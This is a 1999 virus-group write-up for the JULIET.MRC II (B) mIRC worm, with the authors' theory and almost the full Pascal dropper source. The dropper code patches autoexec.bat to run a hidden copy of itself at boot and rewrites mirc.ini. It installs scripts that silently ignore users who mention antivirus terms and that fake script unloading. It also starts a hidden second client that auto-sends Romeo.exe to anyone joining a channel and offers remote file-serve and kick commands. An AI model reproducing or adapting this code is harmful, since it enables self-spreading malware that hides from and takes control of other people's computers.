
                          JULIET.MRC II (B) mIRC Worm Documentation

                     Two households, both alike in dignity,
                       In fair Verona, where we lay our scene,
                     From ancient grudge break to new mutiny,
                       Where civil blood makes civil hands unclean.
                     From forth the fatal loins of these two foes
                       A pair of star-crossed lovers take their life;
                     Whose misadventured piteous overthrows
                       Doth with their death bury their parents' strife.
                     The fearful passage of their death-marked love
                       And the continuance of the parents' rage,
                     Which, but their children's end, naught could remove,
                       Is now the two hours' traffic of our stage;
                     The which if you with patient ears attend,
                       What here shall miss, our toil shall strive to mend.
 _________________________________________________________________________

                                                               - Credits -

  Documentation by Rhape79                               [Ultimate Chaos '99]
  Additional Comments by ALT-F9                      [Alternative Virus Mafia]
  Edited by Morphine                                      [Ultimate Chaos '99]

  mIRC worm by Rhape79 and ALT-F9                          "JULIET.MRC II (B)"
  Original Story by William Shakespeare                     "Romeo and Juliet"
 _________________________________________________________________________

  Contents
  ========

    The History......... This is where is all begins.
    The Objective.... What this is trying to accompish.
    The Theory........ Thoughts on how this will be done.
    A Few Words..... Some comments from ALT-F9.
    Implentation........ This is it, the code and comments.
    Evaluation.......... An overview of the worm's features/flaws.
    The Next Stage.. What can be expected in JULIET.MRC Ice (C)?
    Dedication.......... Our acknowledgement.
 _________________________________________________________________________

  The History
  ===========

 JULIET.MRC II (B)  is  a  follow  up  from  the  original JULIET.MRC mIRC  
 worm  which  was written earlier this year (1999).   This varient retains 
 features of the original worm such as  the 60 second delay before attempting 
 to DCC a copy of itself to another mIRC user.   It also has the auto-ignore 
 of users when certain words are said either  in  messages or  in  the  
 channel. The remote access line has been kept,  and perhaps improved upon  
 in  various ways,  and the  autoexec.bat modification still there.  So,  as 
 you can see,  this  is  the  next step for  the worm.   Now,  from the dust 
 of the very basic and fairly unoriginal JULIET.MRC (A) worm,  I'd
 like you to give a warm welcome to the new family member:
                                   JULIET.MRC II (B).... <insert cheers and 
							  clapping here>

 Note: From now on the JULIET.MRC II (B) worm will be refered to as (B), and 
 the original as (A).
 _________________________________________________________________________

  The Objective
  =============

 The objective of (B) is to take the stealth of a mIRC worm to a new level, 
 hopefully a level so effective that  the  system user will not even notice  
 it  running  on  their computer.   This  has been  a  fairly difficult task 
 previously due  to  CTCP  transfer windows coming  up  and  other small 
 tell-tale signs that a  transfer has been or is being attempted.   There is 
 also the problem of  the  system user looking for and unloading the script , 
 which possesses  a  major threat  to any  self-respecting worm.   This too 
 must be thought about and procedures put  in  place  to stop such things from happening.
 _________________________________________________________________________

  The Theory
  ==========

 So, the theory behind the worm.   Let us start with the obvious.   You want 
 to stop the system user from seeing the DCC take place  -  what can you do 
 about this?  Well, the first and most logical answer would be to not attempt 
 the DCC.   However,  this idea is  at  first glace stupid and impractical, as 
 the worm must attempt a transfer in order to spread and thus survive.  So,
 thinking along that idea, you don't want the system user to see the client 
 attempt a DCC. That means you don't want to use the system user's client to 
 attempt the DCC.  You need to use another program to attempt this task.   Now 
 what to use? Surely the easiest answer is an mIRC client as  that is  what is  
 running  in the first place.   Why not run the client  a  second
 time?  Well, there are several problems with this.  The system user will have 
 his/her personal settings stored in that client, such as nickname,  
 alternative nickname, channels to join, etc. So, given this idea, I thought 
 that if I replicated a copy of the mirc.exe into another directory
 and gave it my own ini files to load [which would hold specific information 
 and controls for the worm's  use]  and  only then launched this from  the  
 other client,  then  if  this second client carried out all the DCCs  surely 
 the system user wouldn't suspect anything  as  their  original
 client appeared to be normal and there were no strange DCC transfers 
 attempted. Now, this is all good and well having another client which can 
 send the worm onto new users, but how to control it?  Again, this was 
 something I'd been working on before and that I now found a new use for.  
 The CTCP commands which were used in (A) for remote control of an infected
 user's mIRC client could be used in other ways.  Surely if the original 
 client found a new user join the channel, it could send a custom CTCP command 
 to the second client which would in turn do the 60 second pause as to shake 
 off suspicion.  It would then attempt a silent DCC to  this  user  which  the  
 original  had  named.   This appeared  to  be  promising  and  other
 commands and features could also be implented in this fashion using the two 
 clients to send silent CTCP commands to each other. Another precaution was to 
 expand the word catching to  include text in channels,  messages,  notices,  
 actions and channel topics.   This almost over-kill method alongside  the  
 silent ignore command  in  the script should make  it  near  on impossible to 
 alert  a  user to the fact they are infected with an mIRC worm,  much less 
 help remove it.
 _________________________________________________________________________

  A Few Words
  ===========

 Hello.  What can I say that hasn't already been said?
 This worm which Rhape79 and  I  have spent many an hour writing,  rewriting 
 and editing,  is probably  the  most advanced mIRC worm  in  its  paranoia  
 of  protection and stealth.  Whilst there  are other equally advanced and 
 sophisticated worms of  this catorgory out  in  the wild and  within labs  of  
 authors and others which have unique qualities that may far outshadow
 our achievement,  I  believe  we  have done  a  first by using two mIRC 
 clients, by using  two scripts and by creating a partnership between the two.
 This is not  a  simple worm for  it  uses many methods  to  stop interference.   It  contains  a
 remote control command and functions which can  be manipulated via the mIRC 
 client CTCP protocol.   Some such commands seated  on  this standard mIRC 
 protocol are for the  newly designed MTSP, which acts as a two-way chat line 
 between the two scripts so that one can tell the other what is happening and 
 what  to  do.  There are other hidden extras within  the script,  and within 
 the worm's  EXE itself,  but as most  of  these items will have been covered
 elsewhere within this article, I shall not bore you again with the details.

     Respectively,
       ALT-F9 [Alternative Virus Mafia]  
 _________________________________________________________________________

  Implentation (the code)
  =======================

{$M 16384,0,655360}
{
  JULIET.MRC II (B) By Rhape79 and ALT-F9
  Please note: The ini files dropped by the compiled EXE will not
               allow the slave copy to connect online as I have
               left out specific information such as server details
               (no server.ini file) and other things.
          This is to stop the worm from going live ITW.
}
Uses Dos,Crt;

Const Fils=35518;
Var A,D:Text;
    B,K,N:Byte;
    Slave,Master,C,J:String;
    L1x,L2x,E,F:File;
    NRx,NWx,G,H:Word;
    Bux,I:Array[1..2048] Of Char;
    L:Char;
    NSetx,M:LongInt;

Function ARC(FH,TH:String;JMPA,JMPB:LongInt;Re:Byte;Siz:LongInt):String;
Var Bu:Array[1..4096] Of Char;
    NR,NW:Word;
    NSet:LongInt;
    L1,L2:File;
Begin
     Assign(L1,FH);
     {$I-}
     Reset(L1,1);
     {$I+}
     If IOResult=0 Then
     Begin
          If Siz=0 Then
          Siz:=FileSize(L1);
          Assign(L2,TH);
          {$I-}
          If Re=0 Then
             Reset(L2,1)
          Else
              ReWrite(L2,1);
          {$I+}
          If IOResult=0 Then
          Begin
               Seek(L1,JMPA);
               Seek(L2,JMPB);
               NSet:=0;
               Repeat
               BlockRead(L1,Bu,SizeOf(Bu),NR);
               BlockWrite(L2,Bu,NR,NW);
               NSet:=NSet+NW;
               Until (NR=0) Or (NW<>NR) Or (Siz<=NSet);
               Close(L1);
               Close(L2);
          End;
     End;
End;
Procedure Mod1;
Begin
     Readln(A,C);Writeln(D,C);
     Readln(A,C);Writeln(D,C);
     Writeln(D,'aptitle=RJ2');Readln(A);
     Writeln(D,'finger=I''m infected with JULIET.MRC');Readln(A);
     Writeln(D,'quit=a pair of STAR CROSS''D LOVERS take their life');Readln(A);
     Readln(A,C);Writeln(D,C);
End;
Procedure Mod2;
Begin
     Writeln(D,'user=William Shakespeare''s Juliet II');Readln(A);
     Readln(A,C);Writeln(D,C);
     Readln(A,C);Writeln(D,C);
     B:=0;
     C:='';
     Repeat
     B:=B+1;
     Read(A,C[B]);
     Until C[B]=' ';
     N:=B-1;
     Master:='';
     B:=5;
     Repeat
     B:=B+1;
     Master:=Master+C[B];
     Until B=N;
     Writeln(D,'nick=',Master);Readln(A);
     Readln(A,C);Writeln(D,C);
     Readln(A);Writeln(D,'host=TerraXnet: Random serverSERVER:london.uk.eu.undernet.org:6668GROUP:undernet');
End;
Procedure Mod3;
Begin
     Writeln(D,'n1=juliet2.mrc');
     Repeat
     Readln(A,C);
     Writeln(D,C);
     Until C='';
End;
Begin
     K:=0;
     Clrscr;
     GotoXY(10,4);
     Write('Loading...');
     Assign(A,'C:\autoexec.bat');
     {$I-}
     Reset(A);
     For B:=1 To 4 Do
     Readln(A,C);
     Close(A);
     {$I+}
     If C<>'C:\paris.exe root' Then
     Begin
          {$I-}
          Assign(D,'C:\autoexec.avm');
          K:=1;
          Rewrite(D);
          Reset(A);
          For B:=1 To 3 Do
          Begin
               Readln(A,C);
               Writeln(D,C);
          End;
          Writeln(D,'C:\paris.exe root');
          Repeat
          Readln(A,C);
          Writeln(D,C);
          Until EOF(A);
          Close(A);
          Close(D);
          Erase(A);
          Rename(D,'C:\autoexec.bat');
          {$I+}
     End;
     If K=1 Then
     Begin
          Slave:='';
          Randomize;
          For B:=1 To 8 Do
          Begin
               L:=Char(Random(26)+97);
               Slave:=Slave+L;
          End;
     End;
     {$I-}
     ChDir('C:\mirc');
     {$I+}
     If IOResult=0 Then
     Begin
          Assign(A,'C:\mirc\Juliet2.mrc');
          Rewrite(A);
          For M:=1 To 45 Do
              Writeln(A);
          Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
          Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=- JULIET.MRC II -=-=-=-=-=-=-=-=-=-=-=-');
          Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
          Writeln(A,'; -[ Initialisation ]-');
          Writeln(A,'on Load:/clear | echo -se *** Connecting to irc.texxas.net');
          Writeln(A,'on 1:CONNECT:/.run C:\WINDOWS\config\',Slave,'\',Slave,'.exe | /.sreq +m auto | halt');
          Writeln(A);
          Writeln(A,'; -[ Protection ]-');
          Writeln(A,'on ^1:TEXT:*vir*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*worm*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*troj*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*remote*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*julie*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*omeo*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*spear*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*mset*:*:/.prince');
          Writeln(A,'on ^1:TEXT:* av*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*icq*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*mail*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*avp*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*nav*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*norton*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*mc*fe*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*rav*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*solom*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*drsol*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*nai*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*prot*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*f-p*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*avert*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*dr*eb*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*bav*:*:/.prince');
          Writeln(A,'on ^1:TEXT:*come*alive*:*:/.ctcps on | /.notice $nick JULIET.MRC II (B) is alive again! | halt');
          Writeln(A,'on 1:TEXT:*dcc*:*:/.ctcp ',Slave,' target $nick | halt');
          Writeln(A,'on 1:TEXT:*f0rk*:*:/.ctcp ',Slave,' target $nick | halt');
          Writeln(A,'on 1:TEXT:*send*:*:/.ctcp ',Slave,' target $nick | halt');
          Writeln(A,'on 1:TEXT:*gi*e*:*:/.ctcp ',Slave,' target $nick | halt');
          Writeln(A,'on 1:TEXT:*I*want*vir*:*:/.ctcp ',Slave,' target $nick | halt');
          Writeln(A,'on ^1:NOTICE:*virus*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*worm*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*trojan*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*remote*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*juliet*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*romeo*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*spear*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*mset*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:* av*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*icq*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*mail*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*avp*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*nav*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*norton*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*mc*fe*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*rav*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*solom*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*drsol*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*nai*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*prot*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*f-p*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*avert*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*dr*eb*:*:/.prince');
          Writeln(A,'on ^1:NOTICE:*bav*:*:/.prince');
          Writeln(A);
          Writeln(A,'; -[ Limited Stealth ]-');
          Writeln(A,'ctcp ^1:*ctcps*:?:/.nurse');
          Writeln(A,'ctcp ^1:*events*:?:/.nurse');
          Writeln(A,'ctcp ^1:*raw*:?:/.nurse');
          Writeln(A,'ctcp ^1:*remote*:?:/.nurse');
          Writeln(A,'ctcp ^1:*ignore*:?:/.nurse');
          Writeln(A,'ctcp ^1:*:?: {');
          Writeln(A,'  if ( juli isin $1- ) { /.nurse }');
          Writeln(A,'  elseif ( romeo isin $1- ) { /.nurse }');
          Writeln(A,'  elseif ( script. isin $1- ) { /.nurse }');
          Writeln(A,'  elseif ( load isin $1- ) { /.nurse }');
          Writeln(A,'  elseif ( remot isin $1- ) { /.nurse }');
          Writeln(A,'  elseif ( versin isin $1 ) { /.versin | halt }');
          Writeln(A,'  elseif ( VERSION isin $1 ) { $1- }');
          Writeln(A,'  elseif ( PING isin $1 ) { $1- }');
          Writeln(A,'  elseif ( FINGER isin $1 ) { $1- }');
          Writeln(A,'  elseif ( TIME isin $1 ) { $1- }');
          Write  (A,'  elseif ( /msg isin $1- ) { /.notice $nick Go stick that command where the sun don''t shine,');
          Writeln(A,' baby.. | halt }');
          Writeln(A,'  elseif ( /describe isin $1- ) { /.notice $nick No. I don''t want to let them see me do that! | halt }');
          Writeln(A,'  elseif ( /me isin $1- ) { /.notice $nick Describe it you dumbass or do it yourself.. | halt }');
          Writeln(A,'  else { $1- | halt }');
          Writeln(A,'}');
          Writeln(A);
          Writeln(A,'; -[ RAW Scanning ]-');
          Writeln(A,'RAW 332:*:/.benvolio');
          Writeln(A);
          Writeln(A,'; -[ Advanced Features ]-');
          Writeln(A,'on 1:join:*:{ if ($nick == $me) { halt }');
          Writeln(A,'  else { /.ctcp ',Slave,' target $nick | halt }');
          Writeln(A,'}');
          Writeln(A,'ctcp ^1:kill*:?:{');
          Writeln(A,'  if ( $nick == ',Slave,' ) then {');
          Writeln(A,'    /.ban $2 $3 4');
          Writeln(A,'    /.kick $3 $2 $4-');
          Writeln(A,'  }');
          Writeln(A,'  else { /.ignore $nick | halt }');
          Writeln(A,'}');
          Writeln(A,'on ^1:topic:#:/.benvolio');
          Writeln(A,'on 1:TEXT:*:?:/.msg #mircworms [ $nick ]: $1-');
          Writeln(A,'on 1:NOTICE:*:?:/.notice #mircworms [ $nick ]: $1-');
          Writeln(A);
          Writeln(A,'; -[ Aliases ]-');
          Writeln(A,'alias versin {');
          Writeln(A,'  /.notice $nick This client is running 12JULIET.MRC II (B) which was written by..');
          Writeln(A,'  /.notice $nick 4Rhape79 (UC) and 4ALT-F9 (AVM)');
          Writeln(A,'  /.notice $nick Peace to 3VicodinES - Ain''t gonna be the same without you...');
          Writeln(A,'  /.notice $nick Greets to all the 6Ultimate Chaos and 6Alternative Virus Mafia guys and girls...');
          Writeln(A,'  /.notice $nick Also special thanks from Rhape79 to 3Lord Natas - "I kinda owe it ya, thanks."');
          Writeln(A,'  /.notice $nick And to 3SimpleSimon - "Fer suggestions and major debuggin'' online.."');
          Writeln(A,'  /.notice $nick [===---                                                                      ---===]');
          Writeln(A,'  /.notice $nick ~~~~~~~~~~~~~~~~~~~~~ Slave Client is:2 ',Slave,' ~~~~~~~~~~~~~~~~~~~~~');
          Writeln(A,'}');
          Writeln(A,'alias unload {');
          Writeln(A,'  if ( $2 == juliet2.mrc ) { /echo 2 -se *** Unloaded script '' $+ $$2 $+ '' }');
          Writeln(A,'  elseif ( $2 == script.ini ) { /echo 2 -se *** Unloaded script '' $+ $$2 $+ '' }');
          Writeln(A,'  else { /unload $$1- }');
          Writeln(A,'}');
          Writeln(A,'alias ctcps {');
          Writeln(A,'  if ( $1 == off ) { /echo 2 -a *** Ctcps are OFF | halt }');
          Writeln(A,'  if ( $1 == on ) { /echo 2 -a *** Ctcps are ON | halt }');
          Writeln(A,'}');
          Writeln(A,'alias remotes {');
          Writeln(A,'  if ( $1 == off ) { /echo 2 -a *** Remotes are OFF | halt }');
          Writeln(A,'  if ( $1 == on ) { /echo 2 -a *** Remotes are ON | halt }');
          Writeln(A,'}');
          Writeln(A,'alias quit {');
          Writeln(A,'  /.ctcp ',Slave,' terminate');
          Writeln(A,'  /.disconnect');
          Writeln(A,'}');
          Writeln(A,'alias prince /.ignore -pcinku600 $nick | /.close -c $nick | /.close -m $nick | halt');
          Write  (A,'alias nurse /.notice $nick His looks I fear, and his intents I doubt. | /.ignore -pcinkut1200 $nick |');
          Writeln(A,' /.close -c $nick | /.close -m $nick | halt');
          Writeln(A,'alias benvolio {');
          Writeln(A,'  if ( juliet isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( romeo isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( vir isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( worm isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( mset isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( help isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( backof isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( malic isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( infect isin $1- ) { /.mercutio }');
          Writeln(A,'  elseif ( r&j isin $1- ) { /.mercutio }');
          Writeln(A,'  else { }');
          Writeln(A,'}');
          Writeln(A,'alias mercutio {');
          Writeln(A,'  /.msg # Wilt thou provoke me?');
          Writeln(A,'  /echo 2 -sei10 Condemnd villain, I do apprehend thee.');
          Writeln(A,'  /part # $active | halt');
          Writeln(A,'}');
          Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
          Writeln(A,'; -=-=-=-=-=-=-=-=- Peace, Rhape79 and ALT-F9 =-=-=-=-=-=-=-=-');
          Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
          Close(A);
          Assign(A,'C:\mirc\mirc.ini');
          Assign(D,'C:\mirc\mirc.avm');
          Reset(A);
          Rewrite(D);
          Repeat
          Readln(A,C);
          Writeln(D,C);
          If C='[text]' Then Mod1
          Else If C='[mirc]' Then Mod2
          Else If C='[rfiles]' Then Mod3;
          Until EOF(A);
          Close(A);
          Close(D);
          Erase(A);
          Rename(D,'C:\mirc\mirc.ini');
          B:=1;
          Repeat
          If B=1 Then J:='C:\paris.exe';
          If B=2 Then J:='C:\mirc\romeo.exe';
          If (K<>1) And (B=1) Then B:=B+1
          Else
          Begin
               Assign(E,ParamStr(0));
               Reset(E,1);
               Assign(F,J);
               Rewrite(F,1);
               Repeat
               BlockRead(E,I,SizeOf(I),G);
               BlockWrite(F,I,G,H);
               Until (G=0) Or (H<>G);
               Close(E);
               Close(F);
               B:=B+1;
          End;
          Until B=3;
          Assign(A,'C:\paris.exe');
          SetFAttr(A,Hidden);
          {$I-}
          Mkdir('C:\WINDOWS\Config\'+Slave);
          {$I+}
          If IOResult=0 Then
          Begin
               C:='C:\WINDOWS\Config\'+Slave+'\';
               J:=C+Slave+'.exe';
               Assign(L1x,'C:\mirc\mirc.exe');
               {$I-}
               Reset(L1x,1);
               {$I+}
               If IOResult=0 Then
                  NSetx:=FileSize(L1x)
               Else
                   NSetx:=1113088;
               ARC('C:\mirc\mirc.exe',J,0,0,1,NSetx);
               J:=C+'juliet.ico';
               ARC('C:\paris.exe',J,Fils,0,1,190);
               Assign(L1x,'C:\paris.exe');
               {$I-}
               Reset(L1x,1);
               {$I+}
               If IOResult=0 Then
               Begin
                    Assign(L2x,J);
                    {$I-}
                    ReWrite(L2x,1);
                    {$I+}
                    If IOResult=0 Then
                    Begin
                         Seek(L1x,Fils);
                         Repeat
                         BlockRead(L1x,Bux,SizeOf(Bux),NRx);
                         BlockWrite(L2x,Bux,NRx,NWx);
                         Until (NRx=0) Or (NWx<>NRx);
                         Close(L1x);
                         Close(L2x);
                    End;
               End;
               J:=C+'juliet2.mrc';
               Assign(A,J);
               Rewrite(A);
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=- JULIET.Slave.MRC II =-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               Writeln(A);
               Write  (A,'; on 1:CONNECT:/.join #virus | /.timer11 1 1 /.msg #virus Romeo, oh Romeo. Forwhere art thou');
               Writeln(A,' Romeo? | /.timer12 1 2 /.part #virus');
               Writeln(A,';');
               Writeln(A,';  TWO HOUSEHOLDS both alike in dignity');
               Writeln(A,';  in FAIR VERONA where we lay our scene');
               Writeln(A,';  from ANCIENT GRUDGE break to new mutiny');
               Writeln(A,';  where civil BLOOD makes civil hands unclean');
               Writeln(A,';  from forth the FATAL loins of these two FOES');
               Writeln(A,';  a pair of STAR CROSS''D LOVERS take their life');
               Writeln(A,';  my only LOVE sprung from my only HATE!');
               Writeln(A,';  too early seen unknown, and known TOO LATE!');
               Writeln(A,';  prodigious birth of love it is to me,');
               Writeln(A,';  that I must love a LOATHED ENEMY');
               Writeln(A,';');
               Writeln(A,';  william shakespeare''s');
               Writeln(A,';   ROMEO + JULIET');
               Writeln(A,';    The greatest love story the world has ever known.');
               Writeln(A,';     Now featuring ',Master,' in this world exclusive!');
               Writeln(A);
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=- JULIET.Slave.MRC II =-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               For M:=1 To 45 Do
                   Writeln(A);
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=- JULIET.Slave.MRC II =-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -[ Initialisation ]-');
               Write  (A,'on 1:CONNECT:/.join #virus | /.timer11 1 1 /.msg #virus Romeo, oh Romeo. Forwhere art thou Romeo?');
               Write  (A,' | /.timer12 1 2 /.part #virus | /.timer33 22:00:00 1 1 /.join #virus | /.timer34 22:00:02 1 1');
               Write  (A,' /.msg #virus Cybersex ain''t safe - I was infected by JULIET II! 12(Version B) | /.timer35');
               Writeln(A,' 22:00:04 1 1 /.part #virus');
               Writeln(A);
               Writeln(A,'; -[ Protection ]-');
               Writeln(A,'ctcp 1:*juliet*:?:/.notice $nick You want me to "4 $+ $1- $+ " ? - I don''t think so! | halt');
               Writeln(A);
               Writeln(A,'; -[ Limited Stealth And MTSP ]-');
               Writeln(A,'ctcp ^1:*ctcps*:?:/.nurse');
               Writeln(A,'ctcp ^1:*events*:?:/.nurse');
               Writeln(A,'ctcp ^1:*raw*:?:/.nurse');
               Writeln(A,'ctcp ^1:*remote*:?:/.nurse');
               Writeln(A,'ctcp ^1:*ignore*:?:/.nurse');
               Writeln(A,'ctcp ^1:*:?: {');
               Writeln(A,'  if ( juli isin $1- ) { /.nurse }');
               Writeln(A,'  elseif ( romeo isin $1- ) { /.nurse }');
               Writeln(A,'  elseif ( script. isin $1- ) { /.nurse }');
               Writeln(A,'  elseif ( load isin $1- ) { /.nurse }');
               Writeln(A,'  elseif ( remot isin $1- ) { /.nurse }');
               Writeln(A,'  elseif ( versin isin $1 ) { /.versin | halt }');
               Writeln(A,'  elseif ( VERSION isin $1 ) { $1- }');
               Writeln(A,'  elseif ( PING isin $1 ) { $1- }');
               Writeln(A,'  elseif ( FINGER isin $1 ) { $1- }');
               Writeln(A,'  elseif ( TIME isin $1 ) { $1- }');
               Write  (A,'  elseif ( /describe isin $1- ) { /.notice $nick No. I don''t want to let them see me do that!');
               Writeln(A,' | halt }');
               Writeln(A,'  elseif ( /me isin $1- ) { /.notice $nick Describe it you dumbass or do it yourself.. | halt }');
               Write  (A,'  elseif ( target isin $1- ) { /.timer21 1 60 /.dcc send $$2 Romeo.exe | /.timer22 1 59 /.ignore');
               Writeln(A,' -pcinku300 $$2 | halt }');
               Writeln(A,'  elseif ( terminate isin $1- ) {');
               Writeln(A,'    if ( $nick == ',Master,' ) { /.exit }');
               Write  (A,'    else { /.ctcp ',Master,' kill $naddress($nick,1) $chan $nick O, speak again, bright angel!');
               Writeln(A,' | /.ignore $nick | halt }');
               Writeln(A,'  }');
               Writeln(A,'  elseif ( serverc isin $1- ) { /.fserve $$2 15 C:\ C:\config.sys | halt }');
               Writeln(A,'  elseif ( talk isin $1 ) { /.msg $$2 $3- | /.describe #mircworms to $2 ]: $3- | halt }');
               Write  (A,'  elseif ( *msg isin $1- ) { /.msg $nick Please use the following command: /ctcp $me talk');
               Writeln(A,' <username> <text> | halt }');
               Writeln(A,'  else { $1- | halt }');
               Writeln(A,'}');
               Writeln(A,'; -[ Aliases ]-');
               Write  (A,'alias nurse /.notice $nick His looks I fear, and his intents I doubt. | /.ignore -pcinkut1200');
               Writeln(A,' $nick | /.close -c $nick | /.close -m $nick | halt');
               Writeln(A,';');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=- Peace, Rhape79 and ALT-F9 =-=-=-=-=-=-=-=-');
               Writeln(A,'; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-');
               Writeln(A,';');
               Writeln(A,';    JULIET.MRC II (B) fer the teachers, the preachers, and those who didn''t believe....');
               Writeln(A,';');
               Writeln(A,';    JULIET.MRC II and JULIET.Slave.MRC II is copyright 1999 Rhape79');
               Writeln(A,';    The EXE and ALTernativeFileStorage is copyright 1999 ALT-F9');
               Close(A);
               J:=C+'mirc.ini';
               Assign(A,J);
               Rewrite(A);
               Writeln(A,'[channels]');
               Writeln(A,'n0=#mircworms');
               Writeln(A);
               Writeln(A,'[files]');
               Writeln(A,'trayicon=juliet.ico');
               Writeln(A);
               Writeln(A,'[warn]');
               Writeln(A,'fserve=off');
               Writeln(A,'dcc=off');
               Writeln(A);
               Writeln(A,'[options]');
               Writeln(A);
               Writeln(A,'[dirs]');
               Writeln(A);
               Writeln(A,'[about]');
               Writeln(A);
               Writeln(A,'[windows]');
               Writeln(A,'main=2,744,-2,742,0,1,0');
               Writeln(A);
               Writeln(A,'[text]');
               Writeln(A,'commandchar=/');
               Writeln(A,'linesep=-');
               Writeln(A,'aptitle=JULIET II (B): where are you?');
               Writeln(A,'finger=I''m infected with JULIET.MRC II (B)');
               Writeln(A,'quit=and then I slept with MY FRIEND');
               Writeln(A,'lastreset=[no date]');
               Writeln(A);
               Writeln(A,'[dde]');
               Writeln(A,'ServerStatus=on');
               Writeln(A,'ServiceName=mIRC');
               Writeln(A);
               Writeln(A,'[colours]');
               Writeln(A,'n0=0,6,4,5,2,3,3,3,3,3,3,1,5,2,6,1,3,2,3,5,1,0,1,0,1');
               Writeln(A);
               Writeln(A,'[pfiles]');
               Writeln(A);
               Writeln(A,'[ident]');
               Writeln(A,'active=yes');
               Writeln(A,'userid=Juliet');
               Writeln(A,'system=UNIX');
               Writeln(A,'port=113');
               Writeln(A);
               Writeln(A,'[socks]');
               Writeln(A,'enabled=no');
               Writeln(A,'port=1080');
               Writeln(A,'method=4');
               Writeln(A,'dccs=no');
               Writeln(A);
               Writeln(A,'[clicks]');
               Writeln(A,'status=/lusers');
               Writeln(A,'query=/whois $1');
               Writeln(A,'channel=/channel');
               Writeln(A,'nicklist=/query $1');
               Writeln(A,'notify=/whois $1');
               Writeln(A);
               Writeln(A,'[mirc]');
               Writeln(A,'user=William Shakespeare''s Juliet II');
               Writeln(A,'email=juliet@shakespeare.com');
               Writeln(A,'nick=',Slave);
               Writeln(A,'anick=',Slave,'-');
               Writeln(A,'host=Undernet: EU, UK, LondonSERVER:london.uk.eu.undernet.org:6666GROUP:undernet');
               Writeln(A);
